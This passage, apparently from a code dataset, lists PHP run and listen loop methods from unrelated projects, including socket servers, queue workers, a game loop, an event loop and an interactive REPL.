time())\n\t\t{\n\t\t\t$read = $this->client->read();\n\n\t\t\tif ($read === NULL)\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (Application::$security->get_action() == 'drop')\n\t\t\t\t{\n\t\t\t\t\tApplication::$log->warning('Connection dropped by security');\n\n\t\t\t\t\treturn TRUE;\n\t\t\t\t}\n\n\t\t\t\t$this->request->set_request($read);\n\t\t\t\t$this->request->process();\n\n\t\t\t\tif ($response = $this->request->get_response())\n\t\t\t\t{\n\t\t\t\t\t$this->client->send($response);\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (\\Exception $e)\n\t\t\t{\n\t\t\t\t$this->client->send('Internal error! Please try again later.');\n\n\t\t\t\tthrow new RuntimeException($e->getMessage());\n\t\t\t}\n\n\t\t\treturn TRUE;\n\t\t}\n\n\t\tApplication::$log->warning('Request is not readed from client socket');\n\n\t\treturn FALSE;\n\t}", "public function run()\n {\n $quit = false;\n while (!$quit)\n {\n \\Mutex::lock($this->thread_mutex);\n if (count($this->req_queue) == 0)\n {\n \\Cond::wait($this->thread_cond, $this->thread_mutex);\n if (count($this->req_queue) == 0)\n {\n \\Mutex::unlock($this->thread_mutex);\n continue;\n }\n }\n $reqs = array();\n while (count($this->req_queue) > 0 and count($reqs) < 10)\n {\n $m = $this->req_queue->shift();\n if ($m[0] == 'stop')\n {\n $quit = true;\n break;\n }\n $reqs[] = array($m[1], $m[2], $m[3], $m[4]);\n }\n \\Mutex::unlock($this->thread_mutex);\n if (count($reqs) > 0)\n $this->pubbatch($reqs);\n }\n }", "public function loop();", "public function run()\n {\n $this->bootGameState($this->container->get(GlobalGameState::class));\n /*\n * Main loop\n */\n while (!Window::shouldClose()) {\n // Track kernel state\n $this->iterating++;\n\n // Update Physics, then\n if ($this->getDeltaTime() > 1) {\n echo \"FPS: \" . Timming::getFPS() . PHP_EOL;\n $this->currentTime = time();\n }\n\n // ..actual physics process..\n $this->physicsProcess($this->getDeltaTime());\n\n // Update the Scene graphics, then\n Draw::begin();\n Draw::clearBackground(BasicColors::rayWhite());\n $this->process($this->getDeltaTime());\n Draw::end();\n\n // Receive the user input and act upon it, then\n // \"performance updates\" (AKA mem management and culling), then\n // update App state to verify user didn't quite or game crash. (Think this is implicit to raylib)\n }\n }", "private function execRunHandler()\n {\n // guarantee that only one process can be run at one time\n // use socket as lock\n Log::info('Try to start handling process...');\n\n // bounce\n $handlers = BounceHandler::get();\n Log::info(sizeof($handlers).' bounce handlers found');\n $count = 1;\n foreach ($handlers as $handler) {\n Log::info('Starting handler '.$handler->name.\" ($count/\".sizeof($handlers).')');\n $handler->start();\n Log::info('Finish processing handler '.$handler->name);\n $count += 1;\n }\n\n // abuse\n $handlers = FeedbackLoopHandler::get();\n Log::info(sizeof($handlers).' feedback loop handlers found');\n $count = 1;\n foreach ($handlers as $handler) {\n Log::info('Starting handler '.$handler->name.\" ($count/\".sizeof($handlers).')');\n $handler->start();\n Log::info('Finish processing handler '.$handler->name);\n $count += 1;\n }\n }", "public static function http_server(): void\n {\n sock::$type = 'http:server';\n sock::$host = '0.0.0.0';\n sock::$port = 80;\n $ok = sock::create();\n\n if (!$ok) exit('HTTP Server creation failed!');\n\n do {\n //IMPORTANT!!! Reset all data & read list & client list\n $data = $read = $client = [];\n\n //Accept new connection\n sock::accept($read, $client);\n\n //Read HTTP Request data\n $msg = sock::read($client);\n\n var_dump($msg);\n\n //Prepare simple data\n $key = key($client);\n $sock = current($client);\n\n $data[$key]['sock'] = $sock;\n\n $data[$key]['msg'] = 'Hello! I am a simple HTTP Server running under PHP~';\n $data[$key]['msg'] .= PHP_EOL . PHP_EOL;\n $data[$key]['msg'] .= 'Your request message was: ';\n $data[$key]['msg'] .= PHP_EOL . PHP_EOL;\n $data[$key]['msg'] .= trim(current($msg)['msg']);\n $data[$key]['msg'] .= PHP_EOL . PHP_EOL;\n $data[$key]['msg'] .= 'Thanks for your test!';\n\n //Send to browser\n $result = sock::write($data, $client);\n\n var_dump($result);\n\n } while (true);\n }", "public function run()\n {\n $timeout = $this->_options[self::OPT_TIMEOUT];\n Streamwide_Engine_Logger::info( 'Going to main loop' );\n \n for ( ; ; ) {\n // Fetch a new signal from the SW Engine's queue\n $signal = Streamwide_Engine_Signal::dequeue( array( 'timeout' => $timeout ) );\n if ( false === $signal ) {\n continue;\n }\n \n // Update the loggers event items\n Streamwide_Engine_Logger::updateLogEventItems( array( $signal->getPhpId() => $signal->getParams() ) );\n // Log the received signal\n Streamwide_Engine_Logger::dump( $signal->toArray(), 'Received event from SW Engine:' );\n \n if ( $signal->getName() === Streamwide_Engine_Signal::CREATE ) {\n // We have received a CREATE (new call), we need to create a new application to handle\n // the call\n if ( false === ( $application = $this->_createNewApplication( $signal ) ) ) {\n continue;\n }\n \n // Add the new application to the controller's running apps storage (will call\n // the application's start method)\n $this->addApp( $signal->getPhpId(), $application );\n } else {\n // We have received a signal from SW Engine, we need to notify the listeners\n $event = new Streamwide_Engine_Events_Event( $signal->getName() );\n $event->setParam( 'signal', $signal );\n $this->dispatchEvent( $event );\n }\n }\n }", "public function handle()\n {\n /***** Controller Server *****/\n $host = 'localhost'; //host\n $port = '4070'; //port\n $null = NULL; //null var\n\n echo(\"========Starting=========\\n\");\n\t\t\t// Create TCP/IP sream socket\n echo(\"1. Creating socket...\\n\");\n $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\n\t\t\t// Socket option\n echo(\"2. Setting socket options...\\n\");\n socket_set_option($socket, SOL_SOCKET, SO_REUSEADDR, 1);\n\t\t\t// Bind socket\n echo(\"3. Binding socket...\\n\");\n socket_bind($socket, 0, $port);\n\t\t\t// listen to port\n echo(\"4. Start Listener...\\n\");\n socket_listen($socket);\n\n $clients = array($socket);\n\n echo(\"Controller server is started\\n\");\n echo(\"=========================\\n\");\n while (true) {\n \t$changed = $clients;\n \tsocket_select($changed, $null, $null, 0, $null);\n\n \t//Changed will be the server #resource IF new connection is being made\n \tif (in_array($socket, $changed)) {\n //New connection incoming\n \t\t$socket_new = socket_accept($socket); //accept new socket\n \t\tsocket_getpeername($socket_new, $ip); //get ip address of connected socket\n if ($ip != env('APP_IP')){\n \t\t echo \"Client \".$ip.\" is connected\\n\";\n \t\t $clients[$ip] = $socket_new; //add socket to client array\n\t\t\t\t\t} else {\n\t\t\t\t\t array_push($clients, $socket_new); //add 'send_message' socket to clients array\n\t\t\t\t\t}\n \t\t//Clear the changed array (the server) so it won't go to the foreach below\n \t\t$found_socket = array_search($socket, $changed);\n \t\tunset($changed[$found_socket]);\n \t}\n\n \t//Changed will be the client #resource IF message from client is incoming\n \tforeach ($changed as $changed_socket) {\n // Reading incoming message first 10 chars\n \t\t$buf = @socket_read($changed_socket, 10, PHP_NORMAL_READ); //to check $buf is filled\n\t\t\t\t\tsocket_getpeername($changed_socket, $ip);\n\n \t\tif ($buf === false) { //if $buf empty\n \t\t\t$clients = array_diff($clients, array($changed_socket)); // Remove client from $clients array\n if ($ip != env('APP_IP'))\n \t\t\t echo \"$ip is disconnected\\n\";\n \t\t} else {\n \t\t\tif($ip == env('APP_IP')) { //server to controller\n\t\t\t\t\t\t\t$buf .= @socket_read($changed_socket, 2, PHP_NORMAL_READ);\n\t\t\t\t\t\t\t$length = substr ($buf, 5, 6);\n\t\t\t\t\t\t\t$buf .= @socket_read($changed_socket, $length-12, PHP_NORMAL_READ);\n \t\t\t\t/*********************************************\n \t\t\t\t* Message from server 0000;000037;%0060;0010;%192.168.100.1\n * unmask[0] = 0000;XXXXXX;\n * unmask[1] = 0060;0010; (the message)\n * unmask[2] = 192.168.xxx.xxx (the controller) or 0 (all controller)\n *********************************************/\n \t\t\t\t$unmask = explode(\"%\", $buf);\n \t\t\t\t$message = $unmask[1];\n $controllerip = $unmask[2];\n echo \"$message to $controllerip\\n\";\n \t\t\t\t\n \t\t\t\tif(isset($clients[$controllerip])) {\n \t\t\t$this->send_message($message, array($clients[$controllerip]));\n } else {\n echo \"Controller isn't connected\\n\";\n }\n \t\t\t} else { //controller to server\n\t\t\t\t\t\t\t$length = substr ($buf, 5, 4);\n\t\t\t\t\t\t\t$buf .= @socket_read($changed_socket, $length-10, PHP_NORMAL_READ);\n \t\t\t\t/*********************************************\n \t\t\t\t* Message from controller\n *********************************************/\n echo \"$ip : $buf\\n\";\n\t\t\t\t\t\t\tif(!in_array(substr($buf,0,4), ['1027', '1012', '1080'])) //ignore these event\n\t\t\t\t\t\t\t\tevent(new EventHappened($buf.\"%\".$ip));\n /* Lupa buat apa\n if (isset($clients[env('APP_IP')])) {\n \t\t\t\t $this->send_message($buf, array($clients[getHostByName(getHostName())]));\n } else {\n echo \"Can't send message to server\\n\";\n }\n */\n \t\t\t}\n }\n \t}\n }\n socket_close($socket);\n }", "public function listen(): static\n {\n $this->breakLoop = false;\n $this->listening = true;\n\n $baseTime = microtime(true);\n $times = [];\n $lastCycle = $baseTime;\n $this->generateMaps = false;\n $this->generateMaps();\n\n $this->startSignalHandlers();\n $this->breakLoop = false;\n\n while (!$this->breakLoop) {\n $socketCount = count($this->sockets);\n $streamCount = count($this->streams);\n $signalCount = count($this->signals);\n $timerCount = count($this->timers);\n\n if ($this->generateMaps) {\n $this->generateMaps();\n }\n\n $hasHandler = false;\n\n\n // Timers\n if (!empty($this->timers)) {\n $hasHandler = true;\n $time = microtime(true);\n\n foreach ($this->timers as $id => $binding) {\n if ($binding->frozen) {\n continue;\n }\n\n $dTime = $times[$id] ?? $baseTime;\n $diff = $time - $dTime;\n\n if ($diff > $binding->duration) {\n $times[$id] = $time;\n $binding->trigger(null);\n }\n }\n }\n\n\n\n // Signals\n if (!empty($this->signals) && $this->hasPcntl) {\n $hasHandler = true;\n pcntl_signal_dispatch();\n }\n\n // Sockets\n if (!empty($this->socketMap)) {\n $hasHandler = true;\n $e = null;\n\n /** @var array<int, resource|Socket> $read */\n $read = $this->socketMap[self::RESOURCE][self::READ];\n /** @var array<int, resource|Socket> $write */\n $write = $this->socketMap[self::RESOURCE][self::WRITE];\n\n try {\n /* @phpstan-ignore-next-line */\n $res = socket_select($read, $write, $e, 0, 10000);\n } catch (Throwable $e) {\n $res = false;\n }\n\n if ($res === false) {\n // TODO: deal with error\n } elseif ($res > 0) {\n foreach ($read as $resourceId => $socket) {\n foreach (Coercion::toArray(\n $this->socketMap[self::HANDLER][self::READ][$resourceId]\n ) as $id => $binding) {\n /** @var Binding $binding */\n $binding->trigger($socket);\n }\n }\n\n foreach ($write as $resourceId => $socket) {\n foreach (Coercion::toArray(\n $this->socketMap[self::HANDLER][self::WRITE][$resourceId]\n ) as $id => $binding) {\n /** @var Binding $binding */\n $binding->trigger($socket);\n }\n }\n }\n\n // TODO: add timeout handler\n }\n\n // Streams\n if (!empty($this->streamMap)) {\n $hasHandler = true;\n $e = null;\n\n /** @var array<int, resource> $read */\n $read = $this->streamMap[self::RESOURCE][self::READ];\n /** @var array<int, resource> $write */\n $write = $this->streamMap[self::RESOURCE][self::WRITE];\n\n try {\n $res = stream_select($read, $write, $e, 0, 10000);\n } catch (Throwable $e) {\n $res = false;\n }\n\n\n if ($res === false) {\n // TODO: deal with error\n } elseif ($res > 0) {\n foreach ($read as $resourceId => $stream) {\n foreach (Coercion::toArray(\n $this->streamMap[self::HANDLER][self::READ][$resourceId]\n ) as $id => $binding) {\n /** @var Binding $binding */\n $binding->trigger($stream);\n }\n }\n\n foreach ($write as $resourceId => $stream) {\n foreach (Coercion::toArray(\n $this->streamMap[self::HANDLER][self::WRITE][$resourceId]\n ) as $id => $binding) {\n /** @var Binding $binding */\n $binding->trigger($stream);\n }\n }\n }\n\n // TODO: add timeout handler\n }\n\n\n // Tick\n if (\n !$this->breakLoop &&\n $this->tickHandler\n ) {\n if (false === ($this->tickHandler)($this)) {\n $this->breakLoop = true;\n }\n }\n\n // Cycle\n if (\n !$this->breakLoop &&\n $this->cycleHandler\n ) {\n $time = microtime(true);\n\n if ($time - $lastCycle > 1) {\n $lastCycle = $time;\n\n if (false === ($this->cycleHandler)(++$this->cycles, $this)) {\n $this->breakLoop = true;\n }\n }\n }\n\n\n if (!$hasHandler) {\n $this->breakLoop = true;\n } elseif (\n $socketCount !== count($this->sockets) ||\n $streamCount !== count($this->streams) ||\n $signalCount !== count($this->signals) ||\n $timerCount !== count($this->timers)\n ) {\n $this->generateMaps = true;\n }\n\n usleep(30000);\n }\n\n $this->breakLoop = false;\n $this->listening = false;\n\n $this->stopSignalHandlers();\n\n return $this;\n }", "public function run(): void\n {\n $this->logger->debug('Start processing queue messages.');\n $count = 0;\n\n while ($this->loop->canContinue() && $message = $this->driver->nextMessage()) {\n $this->worker->process($message, $this);\n $count++;\n }\n\n $this->logger->debug(\n 'Finish processing queue messages. There were {count} messages to work with.',\n ['count' => $count]\n );\n }", "public function run()\n {\n $this->router->listen();\n }", "public function listen (array $options = [])\r\n\t\t{\r\n\t\t\t\tif ($this -> isListening ())\r\n\t\t\t\t{\r\n\t\t\t\t\t\treturn true;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$flags = STREAM_SERVER_BIND | STREAM_SERVER_LISTEN;\r\n\t\t\t\t$context = stream_context_create ($options);\r\n\t\t\t\t$scheme = (string) $this -> getTransport () . '://' . $this -> getAddress () . ':' . $this -> getPort ();\r\n\t\t\t\t$resourcePointer = stream_socket_server ($scheme, $errno, $errstr, $flags, $context);\r\n\t\t\t\t\r\n\t\t\t\t/**\r\n\t\t\t\t* Determine on which port we bound.\r\n\t\t\t\t*/\r\n\t\t\t\tif ($this -> getPort () == 0)\r\n\t\t\t\t{\r\n\t\t\t\t\t\t$localAddress = stream_socket_get_name ($resourcePointer, false);\r\n\t\t\t\t\t\t$port = substr ($localAddress, strrpos ($localAddress, ':') + 1);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$this -> setPort ($port);\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t/**\r\n\t\t\t\t* Check if we succeeded to make the resource\r\n\t\t\t\t*/\r\n\t\t\t\tif (!is_resource ($resourcePointer) || $errno || $errstr )\r\n\t\t\t\t{\r\n\t\t\t\t\t\tthrow new SocketException (sprintf ('Failed to create socket resource, error: %s', $errstr));\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t/**\r\n\t\t\t\t* Callback for when a new connection has been received.\r\n\t\t\t\t*/\r\n\t\t\t\t$acceptCallback = function (PollerInterface $pollerInterface, $resourcePointer)\r\n\t\t\t\t{\r\n\t\t\t\t\t\tif (false === $newConnection = stream_socket_accept ($resourcePointer))\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t$event = new AcceptingFailedEvent ($this);\r\n\t\t\t\t\t\t\t\t$this -> dispatch (SocketEvents :: SOCK_EXCEPTION, $event);\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\treturn;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$socket = $this -> handleNewConnection ($newConnection);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tif ($this -> getTransport () == self :: TRANSPORT_SSL)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t$socket -> setTransport (ClientStream :: TRANSPORT_SSL);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$event = new AcceptingSucceededEvent ($this, $socket);\r\n\t\t\t\t\t\t$this -> dispatch (SocketEvents :: SOCK_ACCEPTED_CONN, $event);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\treturn;\r\n\t\t\t\t};\r\n\t\t\t\t\r\n\t\t\t\t/**\r\n\t\t\t\t* Insert callback into poller\r\n\t\t\t\t*/\r\n\t\t\t\t$this -> pollerInstance -> addReadStream ($resourcePointer, $acceptCallback);\r\n\t\t\t\t\r\n\t\t\t\t/**\r\n\t\t\t\t* Finishing up..\r\n\t\t\t\t*/\r\n\t\t\t\t$this -> currentState = self :: STATE_LISTENING;\r\n\t\t\t\t$this -> resourcePointer = $resourcePointer;\r\n\t\t\t\t$this -> resourcePointerId = (int) $resourcePointer;\r\n\t\t\t\t\r\n\t\t\t\treturn true;\r\n\t\t}", "private function startServer() {\n\t\t$serverLog = PHPUNIT_TEMP_DIR . '/socketServer.log';\n\t\t$descriptorspec = array(\n\t\t\t0 => array(\"pipe\", \"r\"), // stdin\n\t\t\t1 => array(\"file\", $serverLog, \"a\"),// stdout\n\t\t\t2 => array(\"file\", $serverLog, \"a\") // stderr\n\t\t);\n\n\t\t$cmd = \"php \" . dirname(__FILE__) . '/socketServer.php';\n\t\t$this->server = proc_open($cmd, $descriptorspec, $this->pipes);\n\t\tif ($this->server === false) {\n\t\t\tthrow new Exception(\"Failed starting the socket server process.\");\n\t\t}\n\t\t\n\t\t// Sleep a bit to allow server to start\n\t\tusleep(200000);\n\t\t\n\t\t// Verify the server is running\n\t\t$status = proc_get_status($this->server);\n\t\tif (!$status['running']) {\n\t\t\tthrow new Exception(\"Socket server process failed to start. Check the log at [$serverLog].\");\n\t\t}\n\t}", "public function start() {\n $__scope = $this->_runHooks($this->_startHooks);\n extract($__scope);\n\n $this->_write($this->_socket, self::READY);\n\n /* Note the naming of the local variables due to shared scope with the user here */\n for (;;) {\n declare(ticks = 1);\n // don't exit on ctrl-c\n pcntl_signal(SIGINT, SIG_IGN, true);\n\n $this->_cancelled = false;\n\n $__input = $this->_transform($this->_read($this->_socket));\n\n if ($__input === null) {\n continue;\n }\n\n $__response = self::DONE;\n\n $this->_ppid = posix_getpid();\n $this->_pid = pcntl_fork();\n\n if ($this->_pid < 0) {\n throw new \\RuntimeException('Failed to fork child labourer');\n } elseif ($this->_pid > 0) {\n // kill the child on ctrl-c\n pcntl_signal(SIGINT, array($this, 'cancelOperation'), true);\n pcntl_waitpid($this->_pid, $__status);\n\n if (!$this->_cancelled && $__status != (self::ABNORMAL_EXIT << 8)) {\n $__response = self::EXITED;\n } else {\n $this->_runHooks($this->_failureHooks);\n $__response = self::FAILED;\n }\n } else {\n // user exception handlers normally cause a clean exit, so Boris will exit too\n if (!$this->_exceptionHandler =\n set_exception_handler(array($this, 'delegateExceptionHandler'))) {\n restore_exception_handler();\n }\n\n // undo ctrl-c signal handling ready for user code execution\n pcntl_signal(SIGINT, SIG_DFL, true);\n $__pid = posix_getpid();\n\n $__result = eval($__input);\n\n if (posix_getpid() != $__pid) {\n // whatever the user entered caused a forked child\n // (totally valid, but we don't want that child to loop and wait for input)\n exit(0);\n }\n\n if (preg_match('/\\s*return\\b/i', $__input)) {\n fwrite(STDOUT, sprintf(\" → %s\\n\", $this->_inspector->inspect($__result)));\n }\n $this->_expungeOldWorker();\n }\n\n $this->_write($this->_socket, $__response);\n\n if ($__response == self::EXITED) {\n exit(0);\n }\n }\n }", "public function run()\n\t{\n\t\t// streams\n\t\t$read = [$this->_input];\n\n\t\t$write = null;\n\t\t$except = null;\n\n\t\t// stream ends?\n\t\t$end_of_stream = false;\n\n\t\t$waitForMinComputationTime = defined('PROKKIBOT_MIN_COMPUTATION_TIME') && !empty(PROKKIBOT_MIN_COMPUTATION_TIME);\n\n\t\tdo\n\t\t{\n\n\t\t\t$changed_streams = stream_select($read, $write, $except, PROKKIBOT_MAX_SERVER_TIMEOUT);\n\n\t\t\tif( $waitForMinComputationTime )\n\t\t\t{\n\t\t\t\t$time_start = get_microtime_float();\n\t\t\t}\n\t\t\t\n\t\t\tif( false === $changed_streams )\n\t\t\t{\n\t\t\t\tdie();\n\t\t\t}\n\n\t\t\tforeach( $read as $_handle )\n\t\t\t{\n\n\t\t\t\t$string = trim(fgets($_handle));\n\n\t\t\t\tif( empty($string) )\n\t\t\t\t{\n\t\t\t\t\t$end_of_stream = true;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tDebugger::Log(sprintf(\"received: %s\\n\", $string));\n\n\t\t\t\t$end_of_stream = feof($_handle);\n\n\t\t\t\ttry\n\t\t\t\t{\n\n\t\t\t\t\t$command = $this->_bot->getParser()->run($string);\n\n//\t\t\t\t\tDebugger::Log(get_class($command) . \"\\n\");\n\n\t\t\t\t\t$command->apply($this->_bot);\n\n//\t\t\t\t\tDebugger::Log(\"applied\\n\");\n\n//\t\t\t\t\tDebugger::Log(sprintf(\"Round: %d, Remaining: %d, Last: %d\\n\",\n//\t\t\t\t\t\t$this->_environment->getCurrentRoundNo(),\n//\t\t\t\t\t\t$this->_environment->getRemainingRounds(),\n//\t\t\t\t\t\t$this->_environment->isLastRound()\n//\t\t\t\t\t));\n\n\t\t\t\t\tif( $command->isComputable() )\n\t\t\t\t\t{\n\n\t\t\t\t\t\t/** @var Computable $command */\n\t\t\t\t\t\t$send = $command->compute($this->_bot);\n\n\t\t\t\t\t\tif( $waitForMinComputationTime )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tself::_WaitForMinCompuitationTime($time_start);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfwrite($this->_output, $send . \"\\n\");\n\n\t\t\t\t\t\tDebugger::Log(sprintf(\"send: %s\\n\", $send));\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t\tcatch( \\Exception $exception )\n\t\t\t\t{\n\t\t\t\t\tDebugger::Log(sprintf(\"Exception:%s\\n\\n%s\", $exception->getMessage(), $exception->getTraceAsString()));\n\n\t\t\t\t\t$send = \"Aborting due an error :-(\";\n\n\t\t\t\t\tfwrite($this->_output, $send . \"\\n\");\n\n\t\t\t\t\tDebugger::Log(sprintf(\"send: %s\\n\", $send));\n\n\t\t\t\t\t$end_of_stream = true;\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t\twhile( !$end_of_stream && !empty($changed_streams) );\n\n\t\tDebugger::Log(\"MEM: \" . size_to_readable_string(memory_get_usage(true)) . \"\\n\");\n\n\t\tDebugger::Log(\"END!\\n\");\n\n\t\tfclose($this->_input);\n\t}", "public function run(Server $server = null): void\n {\n $this->startup();\n if ($server) {\n $server->addListener($this);\n $server->start();\n } else {\n $response = $this->handle(ServerRequest::fromGlobals());\n $this->emitter->emit($response);\n if ($response instanceof Response) {\n $response->end();\n }\n }\n\n $this->shutdown();\n }", "public function aim_loop()\r\n\t{\r\n\t\twhile ($this->aim_connected()) {\r\n\t\t\techo $this->aim_recv();\r\n\t\t} \r\n\t}", "public function start() {\r\n\t\r\n\t\tset_time_limit(0);\r\n\t\toutput('Starting Blossom Server');\r\n\t\t$this->status = 'running';\r\n\t\t\r\n\t\tEncryptor::init($this->encryption_key);\r\n\t\t\r\n\t\t$this->var_manager = new VarManager();\r\n\t\t\r\n\t\t$this->set_interval($this, 'check_health', 30);\r\n\t\t$this->set_interval($this, 'check_queries', 5);\r\n\t\t$this->set_interval($this, 'auto_shutdown', (60*60*24*30)); //once a month\r\n\t\t$this->set_interval($this, 'tally_reads_and_writes', 1);\r\n\t\t$this->set_interval($this, 'change_iv', 200);\r\n\t\t$this->set_interval($this, 'remove_old_rooms', 5);\r\n\t\t\r\n\t\t//start an infinite loop\r\n\t\twhile (true) {\r\n\t\t\t\r\n\t\t\t$start_time = microtime(true);\r\n\t\t\t\r\n\t\t\ttry {\r\n\t\t\t\r\n\t\t\t\t//will contain every socket\r\n\t\t\t\t$read_array = array();\r\n\t\t\t\t//will contain only sockets with data waiting to be written\r\n\t\t\t\t$write_array = array();\r\n\t\t\t\t//will contain every socket\r\n\t\t\t\t$exception_array = array();\r\n\t\t\t\t\r\n\t\t\t\t//fill the arrays with sockets\r\n\t\t\t\tforeach ($this->socket_array as $user) {\r\n\t\t\t\t\t$read_array[] = $user->socket;\r\n\t\t\t\t\tif($user->get_write_buffer_len() > 0) {\r\n\t\t\t\t\t\t$write_array[] = $user->socket;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t$exception_array = $read_array;\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t//socket_select does not enjoy being passed an empty $read_arary, so just skip it if this is the case\r\n\t\t\t\t//this will likely only hapen as the server is shutting down\r\n\t\t\t\t//the sleep keeps the infinite loop from going out of control, while still allowing the check_shutdown interval to run\r\n\t\t\t\tif(count($read_array) == 0) {\r\n\t\t\t\t\tsleep(1);\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\telse {\r\n\t\t\t\t\t//this function is what prevents the infinite loop from going out of control. \r\n\t\t\t\t\t//It sits and waits for one of the sockets in it's arrays to do something.\r\n\t\t\t\t\t//the events that will allow the script to continue are:\r\n\t\t\t\t\t//a socket in $read_array recives data\r\n\t\t\t\t\t//a sockeet in $write_array is able to write data\r\n\t\t\t\t\t//a socket in $exception_array farts\r\n\t\t\t\t\t//more than 500000 milliseconds pass\r\n\t\t\t\t\t$result = socket_select($read_array, $write_array, $exception_array, 0, 500000);\r\n\t\t\t\t\t\r\n\t\t\t\t\t//if $result is false, things have likely gone very wrong. exit the program to prevent an infinite loop\r\n\t\t\t\t\tif($result === false) {\r\n\t\t\t\t\t\toutput('Could not select active sockets. Reason: '.socket_strerror(socket_last_error()));\r\n\t\t\t\t\t\texit();\r\n\t\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t\t//read from all sockets with data coming in\r\n\t\t\t\t\tforeach($read_array as $socket) {\r\n\t\t\t\t\t\t$user = $this->socket_array[(int)$socket];\r\n\t\t\t\t\t\t$user->read();\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t//write to all sockets with data going out\r\n\t\t\t\t\tforeach($write_array as $socket) {\r\n\t\t\t\t\t\t$user = $this->socket_array[(int)$socket];\r\n\t\t\t\t\t\t$user->send_data();\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t//remove sockets that have closed for whatever reason\r\n\t\t\t\t\tforeach($exception_array as $socket) {\r\n\t\t\t\t\t\t$user = $this->socket_array[(int)$socket];\r\n\t\t\t\t\t\t$user->trigger_remove();\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\t\r\n\t\t\t\t//remove sockets that want to be closed\r\n\t\t\t\t$time = time();\r\n\t\t\t\tforeach($this->socket_array as $user) {\r\n\t\t\t\t\tif($user->removing && $user->delay_remove_until < $time) {\r\n\t\t\t\t\t\t$this->remove_user($user);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t//run intervals\r\n\t\t\t\tforeach($this->interval_array as $interval) {\r\n\t\t\t\t\t$interval->run();\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tcatch (Exception $e) {\r\n\t\t\t\toutput(\"SocketServer Error: $e\");\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$end_time = microtime(true);\r\n\t\t\t$this->last_loop_duration = $end_time - $start_time;\r\n\t\t}\r\n\t}", "public static function tcp_server(): void\n {\n sock::$type = 'tcp:server';\n sock::$host = '0.0.0.0';\n sock::$port = 1000;\n $ok = sock::create();\n\n if (!$ok) exit('TCP Server creation failed!');\n\n //Set Client list alone\n $client = [];\n\n do {\n //Copy client list to read list\n $read = $client;\n\n //Listen to TCP port\n sock::listen($read);\n\n //Accept new connection\n sock::accept($read, $client);\n\n //Read TCP Data\n $msg = sock::read($read, $client);\n\n var_dump($msg);\n\n //Regroup data\n $data = [];\n\n //example: from message and send back to client\n foreach ($msg as $key => $value) {\n //Client socket resource\n $data[$key]['sock'] = $client[$key];\n //Message to be sent\n $data[$key]['msg'] = 'Hello, dear sender!';\n $data[$key]['msg'] .= PHP_EOL;\n $data[$key]['msg'] .= 'I received your message, and now send it back.';\n $data[$key]['msg'] .= PHP_EOL . PHP_EOL;\n $data[$key]['msg'] .= '====================================================================';\n $data[$key]['msg'] .= PHP_EOL . PHP_EOL;\n $data[$key]['msg'] .= $value['msg'];\n $data[$key]['msg'] .= PHP_EOL . PHP_EOL;\n $data[$key]['msg'] .= '====================================================================';\n $data[$key]['msg'] .= PHP_EOL . PHP_EOL;\n $data[$key]['msg'] .= 'Thanks for your test!';\n }\n\n //Send data back and maintain clients\n $result = sock::write($data, $client);\n\n var_dump($result);\n\n } while (true);\n }", "private function main()\n {\n $this->initDataSource();\n while ($this->running) {\n try {\n $this->eventDispatcher->dispatch(new QueueStatus($this));\n } catch (\\Throwable $e) {\n $this->stdOutLogger->error('Watch coroutine exception, msg:' . $e->getMessage());\n $this->fileLogger->alert('Watch coroutine exception', [\n 'file' => $e->getFile(),\n 'line' => $e->getLine(),\n 'msg' => $e->getMessage(),\n 'trace' => $e->getTraceAsString(),\n ]);\n }\n\n Coroutine::sleep(self::WATCH_COMMAND_TIME);\n }\n $this->stdOutLogger->info('消费进程(' . $this->process->pid . ')退出');\n $this->fileLogger->info('消费进程(' . $this->process->pid . ')退出');\n }", "public function run(): void\n {\n $requestBody = $this->getConfig()->getInputAdapter()::getParsedBody();\n $request = ServerRequestFactory::fromGlobals(\n $_SERVER,\n $_GET,\n $requestBody,\n $_COOKIE,\n $_FILES\n );\n\n $queue = [];\n\n $queue[] = new \\Middlewares\\Emitter();\n $queue[] = new ErrorHandler([new JsonFormatter()]);\n $queue[] = (new \\Middlewares\\PhpSession())->name('VENUSSESSID')\n ->regenerateId(60); // Prevent session fixation attacks\n\n $queue[] = (new \\Middlewares\\FastRoute(\n $this->getConfig()->getDispatcher()\n ))->attribute('handler');\n\n $queue = array_merge($queue, $this->getConfig()->getMiddlewares());\n\n // Use router access permission check\n if ($this->getConfig()->usePermission()) {\n $queue[] = (new Permission(\n $this->getConfig()->getContainer()\n ))->handlerAttribute('handler');\n }\n\n $queue[] = (new RequestHandler(\n $this->getConfig()->getContainer()\n 